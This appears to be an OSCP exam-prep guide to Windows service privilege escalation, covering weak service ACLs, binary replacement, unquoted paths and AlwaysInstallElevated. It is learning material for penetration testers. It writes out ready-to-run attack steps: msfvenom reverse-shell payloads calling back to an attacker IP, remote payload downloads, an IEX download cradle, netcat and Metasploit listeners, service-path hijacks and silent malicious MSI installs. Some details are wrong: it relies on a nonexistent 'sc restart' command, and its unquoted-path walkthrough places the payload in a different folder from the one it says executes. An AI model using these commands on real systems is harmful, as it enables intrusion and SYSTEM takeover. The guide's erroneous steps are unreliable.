Domain 4PrivEsc & Password AttacksCORE

Service Exploitation

Comprehensive guide to exploiting Windows services including insecure permissions, binary replacement, unquoted service paths, and AlwaysInstallElevated for privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#services#unquoted-paths#alwaysinstallelevated#binary-replacement#windows-services

Service Exploitation

How Windows Services Work

Before exploiting services, you must understand how they are structured and managed.

Service Control Manager (SCM)

The Service Control Manager (SCM) is the core Windows component that manages all services. It:

  • Starts, stops, and pauses services
  • Maintains the service database in the Registry
  • Enforces service security descriptors (permissions)
  • Runs services under specified accounts

Service Registry Storage

All service configurations are stored in the Windows Registry:

HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>

Key registry values:

Value Name Type Description
ImagePath REG_EXPAND_SZ / REG_SZ The binary path — what gets executed when the service starts
DisplayName REG_SZ Human-readable name shown in services.msc
Start REG_DWORD Start type (2=Auto, 3=Manual, 4=Disabled)
Type REG_DWORD Service type (10=Win32OwnProcess, 16=Win32ShareProcess)
ErrorControl REG_DWORD What to do on failure (0=Ignore, 1=Normal, 2=Severe, 3=Critical)
ObjectName REG_SZ Account the service runs under
Description REG_SZ Service description

Service Accounts

Services can run under different accounts, each with different privilege levels:

Account SID Privilege Level Privesc Value
Local System S-1-5-18 Highest Compromising = SYSTEM shell
Network Service S-1-5-20 Low-Medium Network access, limited local
Local Service S-1-5-19 Low Very limited local access
DOMAIN\user Varies Depends on user Domain user privileges
BUILTIN\Users S-1-5-32-545 Standard Standard user privileges

Key Insight: If you can modify a service that runs as Local System, and you can restart that service, you get a SYSTEM shell. This is the primary goal of service exploitation.


4.1 Insecure Service Permissions

Concept

Every service in Windows has an Access Control List (ACL) that determines who can modify its configuration. If a low-privilege user (or a group they belong to, like Users or Everyone) has write access to a service’s configuration, they can:

  1. Change the ImagePath to point to a malicious binary
  2. Start or restart the service
  3. The malicious binary executes as the service account (often SYSTEM)

Enumeration with AccessChk

AccessChk is a Sysinternals tool that checks access control security information. It is the gold standard for finding insecure service permissions.

Download and Setup

# Download from Sysinternals
# https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk

# Accept EULA (required first time)
accesschk.exe /accepteula

AccessChk Flags Reference

Flag Description Usage
-u Check services (and other objects) for user/group access -uwcqv
-w Show only writable objects Filter to writable
-c Check service configuration (not just the binary) Configuration permissions
-q Quiet mode (show only matching results) Reduce noise
-v Verbose output More detail
-s Search subkeys (for registry) Deep scan
-k Check registry keys Registry enumeration
<username> Filter by specific user/group Target specific group
* Check all services Full scan

Essential AccessChk Commands

# Check all services for writable permissions by ALL users
# This is the most comprehensive check
accesschk.exe -uwcqv * /accepteula

Output:

RW  VulnerableService
    SERVICE_ALL_ACCESS
    BUILTIN\Users
    BUILTIN\Everyone
    NT AUTHORITY\INTERACTIVE

R   w  AnotherService
    SERVICE_CHANGE_CONFIG
    BUILTIN\Users

Understanding the output:

  • RW = Read and Write access to service configuration
  • R w = Read access to service, write access to something else
  • SERVICE_ALL_ACCESS = Full control over the service (can do everything)
  • SERVICE_CHANGE_CONFIG = Can modify the service configuration (including binary path)
  • BUILTIN\Users = Any user in the Users group can modify this
  • NT AUTHORITY\INTERACTIVE = Any interactive logged-on user can modify this
# Check only for services writable by a specific user
accesschk.exe -uwcqv "student" * /accepteula

# Check only for services writable by the Users group
accesschk.exe -uwcqv "Users" * /accepteula

# Check only for services writable by Everyone
accesschk.exe -uwcqv "Everyone" * /accepteula

Enumeration with PowerShell (No External Tools)

When AccessChk is not available, PowerShell can enumerate insecure service permissions:

# Complete enumeration script — line by line explanation
$services = Get-CimInstance -ClassName Win32_Service  # Get all services
foreach ($svc in $services) {                           # Loop through each service
    # Skip services with no path or empty path
    if ($svc.PathName -and $svc.PathName.Trim() -ne "") {
        # Extract the executable path (handle quoted paths)
        $path = $svc.PathName.Trim('"')                 # Remove surrounding quotes if present
        
        # Check if the path exists
        if (Test-Path $path -ErrorAction SilentlyContinue) {
            # Get the ACL of the service binary
            $acl = Get-Acl $path -ErrorAction SilentlyContinue
            
            if ($acl) {
                $access = $acl.Access                    # Get all ACEs
                foreach ($a in $access) {
                    # Check if any low-privilege group has write access
                    $identity = $a.IdentityReference.ToString()
                    
                    # Check for common low-privilege identities
                    if ($identity -like "*Users*" -or
                        $identity -like "*Everyone*" -or
                        $identity -like "*BUILTIN*" -or
                        $identity -like "*INTERACTIVE*" -or
                        $identity -like "*Authenticated Users*") {
                        
                        # Check for write-level permissions
                        $rights = $a.FileSystemRights.ToString()
                        if ($rights -like "*Write*" -or
                            $rights -like "*Modify*" -or
                            $rights -like "*FullControl*" -or
                            $rights -like "*ChangePermissions*" -or
                            $rights -like "*TakeOwnership*") {
                            
                            Write-Host "[+] VULNERABLE SERVICE FOUND:" -ForegroundColor Red
                            Write-Host "    Service Name: $($svc.Name)" -ForegroundColor Yellow
                            Write-Host "    Display Name: $($svc.DisplayName)" -ForegroundColor Yellow
                            Write-Host "    Path: $path" -ForegroundColor Yellow
                            Write-Host "    Runs As: $($svc.StartName)" -ForegroundColor Yellow
                            Write-Host "    State: $($svc.State)" -ForegroundColor Yellow
                            Write-Host "    Permission: $rights for $identity" -ForegroundColor Yellow
                            Write-Host ""
                        }
                    }
                }
            }
        }
    }
}

Enumeration with sc Command

# Query all services
sc query type= service state= all

# Query a specific service's configuration
sc qc <service_name>

Output of sc qc:

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnerableService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vulnerable\Service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Vulnerable Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Key fields:

  • BINARY_PATH_NAME — The executable that runs. This is what you modify.
  • SERVICE_START_NAME — The account the service runs as. LocalSystem = SYSTEM privileges.
  • START_TYPE — Auto start means the service runs on boot.

Step-by-Step Exploitation

Step 1: Identify the Vulnerable Service

accesschk.exe -uwcqv "Users" * /accepteula

Find a service where your user (or a group you belong to) has write access, and note:

  • Service name
  • Binary path
  • Service account (preferably LocalSystem)
  • Current state (running/stopped)

Step 2: Create a Malicious Binary

On your attacker machine:

# Using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o shell.exe

# Or using a simple reverse shell compiler
# Or using PowerShell IEX for a PowerShell-based payload

Step 3: Upload the Binary

# Via Python HTTP server
# Attacker: python3 -m http.server 80
# Target: powershell (New-Object Net.WebClient).DownloadFile('http://10.10.14.5/shell.exe','C:\temp\shell.exe')

# Via SMB
# Attacker: impacket-smbserver share . -smb2support
# Target: copy \\10.10.14.5\share\shell.exe C:\temp\shell.exe

Step 4: Modify the Service Binary Path

# Using sc command
sc config VulnerableService binPath= "C:\temp\shell.exe"

# Verify the change
sc qc VulnerableService

Output:

[SC] ChangeServiceConfig SUCCESS

Step 5: Start/Restart the Service

# If the service is running, restart it
sc stop VulnerableService
sc start VulnerableService

# Or use net commands
net stop VulnerableService
net start VulnerableService

# Or use the restart command (if available)
sc restart VulnerableService

Step 6: Catch the Shell

On your attacker machine, have a listener ready:

# If using msfvenom payload
sudo rlwrap nc -lvnp 4443

# Or Metasploit handler
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4443
run

You should receive a shell running as NT AUTHORITY\SYSTEM.

Step 7: Cleanup (Important for Exam)

# Restore the original binary path
sc config VulnerableService binPath= "C:\Program Files\Vulnerable\Service.exe"

# Restart the service with the original binary
sc restart VulnerableService

# Remove your payload
del C:\temp\shell.exe

Exam Tip: Always clean up after exploitation. Restoring the original configuration shows professionalism and prevents issues if you need to re-exploit.


4.2 Service Binary Replacement

Concept

Service binary replacement is a subset of insecure service permissions. The distinction:

Scenario Insecure Permissions Binary Replacement
What is writable? Service configuration in Registry Service binary file on disk
What do you modify? Registry ImagePath value The .exe file itself
What access do you need? SERVICE_CHANGE_CONFIG on the service Write permission on the binary file
How do you exploit? sc config to change path Overwrite the .exe file

Binary replacement applies when:

  • The service binary file (or its containing directory) has weak file permissions
  • Any user can write to the binary’s location
  • You don’t need to change the Registry — just replace the file

Identifying Writable Binaries

# Method 1: AccessChk on the binary directly
accesschk.exe -qw <service_name> /accepteula

# Method 2: icacls on the binary path
icacls "C:\Program Files\Service\service.exe"

# Method 3: PowerShell
$acl = Get-Acl "C:\Program Files\Service\service.exe"
$acl.Access | Where-Object {
    $_.IdentityReference -like "*Users*" -or
    $_.IdentityReference -like "*Everyone*"
} | Select-Object IdentityReference, FileSystemRights, AccessControlType

Example icacls output:

C:\Program Files\Service\service.exe NT AUTHORITY\SYSTEM:(I)(F)
                                     NT AUTHORITY\SYSTEM:(I)(CI)(IO)(F)
                                     BUILTIN\Administrators:(I)(F)
                                     BUILTIN\Administrators:(I)(CI)(IO)(F)
                                     BUILTIN\Users:(I)(M)                    ← MODIFY access!
                                     BUILTIN\Users:(I)(CI)(IO)(M)
                                     CREATOR OWNER:(I)(CI)(IO)(F)

BUILTIN\Users:(I)(M) means the Users group has Modify access — you can overwrite this binary.

Full Walkthrough

Step 1: Identify the Writable Binary

# List all services and their paths
Get-CimInstance -ClassName Win32_Service |
    Where-Object { $_.StartName -eq 'LocalSystem' } |
    Select-Object Name, PathName, StartName, State

Step 2: Check Permissions on Each Binary

# Check a specific binary
icacls "C:\Program Files\SomeService\service.exe"

# Look for: Users:(M), Everyone:(W), or similar weak permissions
copy "C:\Program Files\SomeService\service.exe" "C:\Program Files\SomeService\service.exe.bak"

Step 4: Replace with Malicious Binary

# Upload your payload first
# Then replace
copy "C:\temp\shell.exe" "C:\Program Files\SomeService\service.exe"

# Verify the replacement
get-filehash "C:\Program Files\SomeService\service.exe"

Step 5: Restart the Service

sc restart SomeService
# or
net stop SomeService
net start SomeService

Step 6: Catch the Shell and Cleanup

# After getting the shell, restore the original
copy "C:\Program Files\SomeService\service.exe.bak" "C:\Program Files\SomeService\service.exe"
sc restart SomeService

4.3 Unquoted Service Paths

Deep Explanation of Windows Path Parsing

This is one of the most commonly tested service exploitation techniques on the OSCP exam. Understanding exactly how Windows parses unquoted paths is critical.

The Problem

When a service’s ImagePath in the Registry contains spaces and is not enclosed in double quotes, Windows does not interpret it as a single path. Instead, it parses the path from left to right, trying each space-delimited segment as a potential executable.

Example Vulnerable Path

C:\Program Files\Some Application\service.exe

Because this path is not quoted in the Registry (no surrounding "), Windows tries to execute:

Order Path Tried Why?
1 C:\Program.exe First space-delimited segment
2 C:\Program Files\Some.exe Second segment
3 C:\Program Files\Some Application\service.exe Full path (original intent)

Windows stops at the first executable it finds. If you can create C:\Program.exe or C:\Program Files\Some.exe, that’s what gets executed.

How Windows Actually Parses the Path

The exact algorithm:

  1. Take the unquoted path: C:\Program Files\Some Application\service.exe
  2. Split on spaces (but respect backslashes as path separators)
  3. Try each prefix as an executable:
    • C:\Program.exe
    • C:\Program Files\Some.exe
    • C:\Program Files\Some Application\service.exe
  4. Execute the first one that exists

Short Names (8.3 Format)

Windows also supports short (8.3) filenames. Program Files can be referenced as Progra~1. This matters because:

  • Short names don’t contain spaces
  • An unquoted path using short names may not be exploitable
  • But the original long-name path in the Registry may still be unquoted
# Check short names
dir /x C:\

# Output might show:
# Progra~1    Program Files
# Progra~2    Program Files (x86)

Enumeration

PowerShell Method

# Find all services with unquoted paths that contain spaces
Get-CimInstance -ClassName Win32_Service |
    Where-Object {
        # Path contains a space AND does not start with a quote
        $_.PathName -like '* *' -and
        $_.PathName -notlike '"*'
    } |
    Select-Object Name, DisplayName, PathName, StartName |
    Format-Table -AutoSize

Output:

Name                 DisplayName                PathName                                           StartName
----                 -----------                --------                                           ---------
VulnService          Vulnerable Service         C:\Program Files\Vuln App\service.exe              LocalSystem
Apache2.2            Apache2.2                  C:\Program Files\Apache Software Foundation\...    LocalSystem

Command Line Method

wmic service get name,displayname,pathname,startmode |
    findstr /i /v "C:\Windows\\" |
    findstr /i /v """

This filters out:

  • Windows system services (C:\Windows\)
  • Quoted paths ("...")

Determining Which Segment Is Writable

This is the critical step. You need to find which segment of the path you can write to.

Step-by-Step Analysis

Given path: C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe

Windows tries:

  1. C:\Program.exe
  2. C:\Program Files\Apache.exe
  3. C:\Program Files\Apache Software Foundation\Procrun.exe
  4. C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe

Check each directory for write access:

# Check C:\ (for Program.exe)
icacls C:\

# Check C:\Program Files\ (for Apache.exe)
icacls "C:\Program Files\"

# Check C:\Program Files\Apache Software Foundation\ (for Procrun.exe)
icacls "C:\Program Files\Apache Software Foundation\"

# Check the full directory
icacls "C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\"

Look for:

  • BUILTIN\Users:(W) or BUILTIN\Users:(M) or BUILTIN\Users:(F)
  • Everyone:(W) or Everyone:(M) or Everyone:(F)
  • Any group you belong to with write access

Finding the First Writable Segment

# Automated check for all segments
$path = "C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe"

# Split the path into segments
$segments = $path -split '\\'
$basePath = $segments[0] + '\'  # C:\

for ($i = 1; $i -lt $segments.Length; $i++) {
    $segment = $segments[$i]
    $dotIndex = $segment.LastIndexOf('.')
    
    if ($dotIndex -gt 0) {
        # This is the last segment (contains the filename)
        $exeName = $segment.Substring(0, $dotIndex) + '.exe'
    } else {
        # This is a directory segment
        $exeName = $segment + '.exe'
    }
    
    $currentPath = $basePath + $exeName
    $dirPath = $basePath
    
    Write-Host "Checking: $currentPath" -ForegroundColor Cyan
    
    if (Test-Path $dirPath) {
        $acl = Get-Acl $dirPath
        $writeAccess = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or
             $_.IdentityReference -like "*Everyone*") -and
            ($_.FileSystemRights -like "*Write*" -or
             $_.FileSystemRights -like "*Modify*" -or
             $_.FileSystemRights -like "*FullControl*")
        }
        
        if ($writeAccess) {
            Write-Host "[+] WRITABLE! Can create: $currentPath" -ForegroundColor Red
            Write-Host "    Permission: $($writeAccess.FileSystemRights)" -ForegroundColor Yellow
        } else {
            Write-Host "[-] Not writable" -ForegroundColor Green
        }
    } else {
        Write-Host "[-] Directory does not exist" -ForegroundColor DarkGray
    }
    
    $basePath = $basePath + $segments[$i] + '\'
}

Realistic Exploitation Walkthrough

Scenario

  • Service: VulnService
  • Path: C:\Program Files\Vuln App\service.exe (unquoted)
  • Runs as: LocalSystem
  • Writable segment: C:\Program Files\Vuln App\ (Users group has Modify access)
  • Executable to create: Vuln.exe

Step 1: Create the Payload

# On attacker machine
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o Vuln.exe

Step 2: Upload the Payload

# On target
powershell (New-Object Net.WebClient).DownloadFile('http://10.10.14.5/Vuln.exe','C:\temp\Vuln.exe')

Step 3: Place the Payload in the Vulnerable Directory

copy C:\temp\Vuln.exe "C:\Program Files\Vuln App\Vuln.exe"

Step 4: Restart the Service

sc restart VulnService

Step 5: Catch the Shell

# Attacker machine
sudo rlwrap nc -lvnp 4443

The service tries to execute C:\Program.exe first (doesn’t exist), then C:\Program Files\Vuln.exe — your payload — and executes it as SYSTEM.

Mermaid: Unquoted Service Path Exploitation

sequenceDiagram
    participant A as Attacker
    participant R as Registry
    participant S as SCM
    participant W as Windows Loader
    participant P as Payload

    A->>R: Read ImagePath (unquoted)
    R-->>A: "C:\Program Files\Vuln App\service.exe"
    A->>A: Parse segments
    A->>A: Check C:\Program.exe (not writable)
    A->>A: Check C:\Program Files\Vuln.exe (WRITABLE!)
    A->>P: Create Vuln.exe (reverse shell)
    A->>W: Place in C:\Program Files\Vuln.exe
    A->>S: sc restart VulnService
    S->>W: Start service
    W->>W: Try C:\Program.exe → NOT FOUND
    W->>W: Try C:\Program Files\Vuln.exe → FOUND
    W->>P: Execute Vuln.exe as SYSTEM
    P->>A: Reverse shell connection

4.4 AlwaysInstallElevated

Concept

AlwaysInstallElevated is a Windows Installer (MSI) configuration that, when enabled, causes all MSI installations to run with SYSTEM privileges, regardless of the installing user’s privilege level.

How MSI Installation Normally Works

By default:

  • Administrators can install MSI packages system-wide (as SYSTEM)
  • Standard users can only install MSI packages to their user profile (limited scope)
  • The installation runs with elevated privileges only for administrators

How AlwaysInstallElevated Changes This

When AlwaysInstallElevated is set to 1 in both of these Registry locations:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Every MSI installation runs as SYSTEM, even for standard users.

Why Both Keys Must Be Set

Windows checks both keys:

  1. If only HKLM is set: MSI installs are elevated, but Windows also checks HKCU
  2. If only HKCU is set: The setting is ignored (HKCU alone doesn’t enable elevation)
  3. If both are set to 1: AlwaysInstallElevated is fully active — any user can install MSI as SYSTEM

This dual-key requirement is a security feature (defense in depth), but when both are set, it creates a significant vulnerability.

Enumeration

# Check HKLM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Check HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Vulnerable output (both must show 0x1):

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

Safe output (either key missing or set to 0):

ERROR: The system was unable to find the specified registry key or value.
# or
    AlwaysInstallElevated    REG_DWORD    0x0

Creating a Malicious MSI

Method 1: Using msfvenom

# On attacker machine
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f msi -o shell.msi

This creates an MSI that, when installed, executes a meterpreter reverse shell as SYSTEM.

Method 2: Manual MSI Creation (No msfvenom)

If msfvenom MSI generation doesn’t work (it sometimes produces invalid MSIs), create a custom MSI:

# Create a PowerShell script that will be the custom action
# Save as install.ps1
$command = "powershell -ep Bypass -c `\"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/rev.ps1')`\""

# Create a minimal MSI using WiX or similar tools
# Or use the following Python script approach

Alternative: Using a batch file custom action

Create a minimal MSI that executes a command during installation:

# Using msfvenom with a different approach
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f msi-nouac -o shell.msi

Method 3: Using pyinstaller or Similar

# Create a Python script that acts as an MSI custom action
# Compile to exe, then wrap in MSI

Full Walkthrough

Step 1: Verify AlwaysInstallElevated Is Enabled

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both must return 0x1.

Step 2: Create and Upload the Malicious MSI

# Attacker machine
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f msi -o shell.msi

# Start HTTP server
python3 -m http.server 80
# Target machine
powershell (New-Object Net.WebClient).DownloadFile('http://10.10.14.5/shell.msi','C:\temp\shell.msi')

Step 3: Install the MSI

# The /quiet flag suppresses UI, /qn suppresses all messages
msiexec /quiet /qn /i C:\temp\shell.msi

Flags explanation:

  • /quiet — Install without user interaction
  • /qn — No UI at all (quiet, no)
  • /i — Install the specified MSI package

Step 4: Catch the SYSTEM Shell

# Attacker machine
sudo rlwrap nc -lvnp 4443
# or Metasploit handler

The MSI custom action executes as NT AUTHORITY\SYSTEM, giving you a SYSTEM reverse shell.

Step 5: Cleanup

# Remove the MSI
del C:\temp\shell.msi

# The MSI installation may have registered the product
# Check and uninstall if needed
wmic product where "name like '%shell%'" call uninstall /nointeractive

Mermaid: AlwaysInstallElevated Exploitation

graph TD
    A[Check HKLM AlwaysInstallElevated] --> B{Value = 0x1?}
    B -->|No| Z[Not Vulnerable]
    B -->|Yes| C[Check HKCU AlwaysInstallElevated]
    C --> D{Value = 0x1?}
    D -->|No| Z
    D -->|Yes| E[VULNERABLE!]
    E --> F[Create malicious MSI]
    F --> G[Upload to target]
    G --> H[msiexec /quiet /qn /i shell.msi]
    H --> I[MSI installs as SYSTEM]
    I --> J[Custom action executes]
    J --> K[🎯 SYSTEM Shell]
    
    style E fill:#ff9999
    style K fill:#99ff99,stroke:#009900,stroke-width:3px
    style Z fill:#cccccc

Decision Tree: Which Service Attack to Use

graph TD
    A[Start: Service Exploitation] --> B{Can you run AccessChk?}
    B -->|Yes| C[accesschk -uwcqv Users * /accepteula]
    B -->|No| D[PowerShell enumeration]
    
    C --> E{Service with weak config perms?}
    D --> E
    
    E -->|Yes| F[4.1 Insecure Service Permissions]
    E -->|No| G{Service binary writable?}
    
    G -->|Yes| H[4.2 Binary Replacement]
    G -->|No| I{Unquoted service path?}
    
    I -->|Yes| J[4.3 Unquoted Service Path]
    I -->|No| K{AlwaysInstallElevated?}
    
    K -->|Yes| L[4.4 AlwaysInstallElevated]
    K -->|No| M[No service vector found]
    
    F --> N[Modify service config → restart → SYSTEM]
    H --> N
    J --> N
    L --> O[Create MSI → install → SYSTEM]
    
    style F fill:#ffdd99
    style H fill:#ffdd99
    style J fill:#ffdd99
    style L fill:#ffdd99
    style N fill:#99ff99
    style O fill:#99ff99

OSCP Exam Tips

For Insecure Service Permissions (4.1)

  1. Always run AccessChk first — It’s the fastest way to find writable services
  2. Look for SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG — These are the permissions that matter
  3. Check the service account — Only exploit services running as LocalSystem for guaranteed SYSTEM access
  4. Test service restart — Before exploiting, verify you can restart the service (sc restart <name>)
  5. Save the original path — Always note the original binPath= before modifying

For Binary Replacement (4.2)

  1. Check icacls output carefully — Look for Users:(M), Everyone:(W), or your specific username with write access
  2. Backup the original — Always copy the original binary before replacing
  3. Verify the replacement — Use get-filehash to confirm the file was replaced
  4. Some services can’t be restarted — If sc restart fails, wait for the next automatic start or reboot

For Unquoted Service Paths (4.3)

  1. This is extremely common on OSCP boxes — Always check for unquoted paths
  2. Check from left to right — The first writable segment is your target
  3. Use icacls on each directory — Don’t assume; verify write access at each level
  4. Remember short names — Progra~1 is Program Files. Check both.
  5. The executable name matters — If the path is C:\Program Files\App Name\svc.exe, you need to create App.exe (not App Name.exe)
  6. Service must restart — Your payload only executes when the service starts

For AlwaysInstallElevated (4.4)

  1. Check BOTH registry keys — Both HKLM and HKCU must be 0x1
  2. msfvenom MSI can be unreliable — If the generated MSI doesn’t work, try manual MSI creation
  3. Use /quiet /qn flags — These suppress UI and make the installation silent
  4. This is a quick win — If both keys are set, you can get SYSTEM in under a minute
  5. Test with a harmless MSI first — Before using a reverse shell MSI, test with a simple MSI to confirm the technique works

Common Mistakes

Mistake 1: Modifying the Wrong Path

When using sc config, the binPath= value must include the full path with proper spacing:

# Correct (note the space after =)
sc config VulnService binPath= "C:\temp\shell.exe"

# Incorrect (no space after =)
sc config VulnService binPath="C:\temp\shell.exe"

Mistake 2: Not Checking Service Account

Exploiting a service that runs as LocalService or NetworkService won’t give you SYSTEM. Always verify SERVICE_START_NAME is LocalSystem.

Mistake 3: Forgetting to Restart the Service

Changing the binary path or replacing the binary does nothing until the service is restarted. Always sc restart after modification.

Mistake 4: Wrong Segment in Unquoted Path

In an unquoted path, creating the executable at the wrong segment wastes time. Always check from left to right and find the first writable segment.

Mistake 5: Only Checking HKLM for AlwaysInstallElevated

Both HKLM and HKCU must be set. Checking only one key gives a false positive.


Quick Reference Command Cheat Sheet

# === AccessChk ===
accesschk.exe -uwcqv * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# === sc Commands ===
sc query type= service state= all
sc qc <service_name>
sc config <service_name> binPath= "C:\path\to\payload.exe"
sc start <service_name>
sc stop <service_name>
sc restart <service_name>

# === PowerShell Enumeration ===
Get-CimInstance -ClassName Win32_Service |
    Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' } |
    Select-Object Name, DisplayName, PathName, StartName

# === Binary Permissions ===
icacls "C:\path\to\service.exe"
Get-Acl "C:\path\to\service.exe"

# === AlwaysInstallElevated ===
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msiexec /quiet /qn /i C:\path\to\malicious.msi

# === net Commands ===
net start <service_name>
net stop <service_name>